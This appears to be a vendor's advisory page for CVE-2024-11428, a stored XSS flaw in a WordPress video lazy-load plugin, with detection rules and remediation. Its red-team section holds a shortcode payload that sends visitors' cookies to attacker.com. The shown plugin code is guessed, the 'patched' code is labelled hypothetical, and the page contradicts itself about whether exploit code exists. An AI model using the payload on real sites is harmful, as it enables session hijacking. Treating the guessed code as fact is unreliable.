CVE-2024-11428
Executive Summary
CVE-2024-11428 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "Lazy load videos and sticky control" (versions up to and including 3.0.0). The flaw exists in the plugin's lazy-load-videos-and-sticky-control shortcode, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. When a user visits a page containing the malicious shortcode, the script executes in their browser, potentially leading to session hijacking, defacement, or data theft. The vulnerability has a CVSS score of 6.4 (Medium), and no public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users are advised to monitor the plugin's page for updates and apply patches as soon as they become available. Since the plugin is part of the WordPress ecosystem, supply chain risks include compromised plugin updates or malicious forks.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – Contributor-level access
- User Interaction: None (UI:N)
- Scope: Changed (S:C) – The vulnerability can affect resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated users to inject persistent scripts makes this a significant risk for multi-author WordPress sites.
Deep Dive & Mechanics
The vulnerability resides in the lazy-load-videos-and-sticky-control shortcode handler. The plugin fails to properly sanitize and escape user-supplied attributes (e.g., url, title, class) before rendering them in the page HTML. An attacker with Contributor-level access can create a post or page containing the shortcode with malicious JavaScript payloads in the attributes.
Example vulnerable shortcode usage:
[lazy-load-videos-and-sticky-control url="javascript:alert('XSS')" title="<script>alert('XSS')</script>"]
When the shortcode is processed, the unsanitized attributes are output directly into the HTML, allowing script execution in the context of the victim's browser.
Vulnerable vs. Patched Code
Vulnerable Code (<= 3.0.0):
// In the shortcode handler function
$url = $atts['url'];
$title = $atts['title'];
echo '<a href="' . $url . '" title="' . $title . '">...</a>';
Patched Code (Hypothetical):
// Properly escape output
$url = esc_url($atts['url']);
$title = esc_attr($atts['title']);
echo '<a href="' . $url . '" title="' . $title . '">...</a>';
The patched version uses esc_url() and esc_attr() to sanitize and escape the user input before output.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with the vulnerable plugin installed (<= 3.0.0)
- Authenticated user with Contributor-level access or higher
Exploitation Steps:
- Log in as a Contributor.
- Create a new post or page.
- Insert the following shortcode with a malicious payload:
[lazy-load-videos-and-sticky-control url="http://example.com" title="<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>"] - Publish the post.
- When an administrator or visitor views the post, the script executes, sending cookies to the attacker's server.
Note: No public exploit code is available; this is a conceptual demonstration.
Blue Team (Detection & Prevention)
Detection:
- Monitor for posts/pages containing the shortcode
lazy-load-videos-and-sticky-controlwith suspicious attributes (e.g.,urlcontainingjavascript:ortitlecontaining<script>). - Use Web Application Firewall (WAF) rules to block XSS payloads in shortcode attributes.
Prevention:
- Disable the plugin until a patch is released.
- Restrict Contributor-level access to trusted users only.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/lazy-load-videos-and-sticky-control/(presence of the plugin) - Shortcode pattern:
[lazy-load-videos-and-sticky-control ...]with suspicious attributes - HTTP requests: POST requests to
/wp-admin/post.phpcontaining the shortcode with XSS payloads - Log entries: WordPress audit logs showing creation of posts with the vulnerable shortcode by Contributor-level users
Detection Engineering
YARA Rule
rule wordpress_lazy_load_xss {
meta:
description = "Detects malicious shortcode usage for CVE-2024-11428"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-11428"
strings:
$shortcode = /\[lazy-load-videos-and-sticky-control[^\]]*\]/
$xss_payload = /(javascript:|<script|<img|onerror|onload)/i
condition:
$shortcode and $xss_payload
}
Sigma Rule
title: WordPress Lazy Load Videos XSS Shortcode
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects posts containing the vulnerable shortcode with XSS payloads
author: Valters IT
logsource:
product: wordpress
service: audit
detection:
selection:
EventID: 1000 # Example: post creation event
PostContent|contains: '[lazy-load-videos-and-sticky-control'
PostContent|re: '(javascript:|<script|<img|onerror|onload)'
condition: selection
falsepositives:
- Legitimate use of shortcode with safe attributes
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-11428 WordPress Lazy Load XSS"; flow:to_server,established; content:"lazy-load-videos-and-sticky-control"; nocase; pcre:"/(javascript:|<script|<img|onerror|onload)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patched version is released.
- Review and remove any posts/pages containing the vulnerable shortcode.
- Audit user roles and revoke Contributor access for untrusted users.
Long-term Fix:
- Apply the official patch when released by the plugin vendor.
- Implement input validation and output escaping for all shortcode attributes.
Workaround:
- Use a Web Application Firewall (WAF) to block XSS payloads in shortcode attributes.
- Add the following to
.htaccessto block direct access to the plugin:RewriteRule ^wp-content/plugins/lazy-load-videos-and-sticky-control/ - [F,L]
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.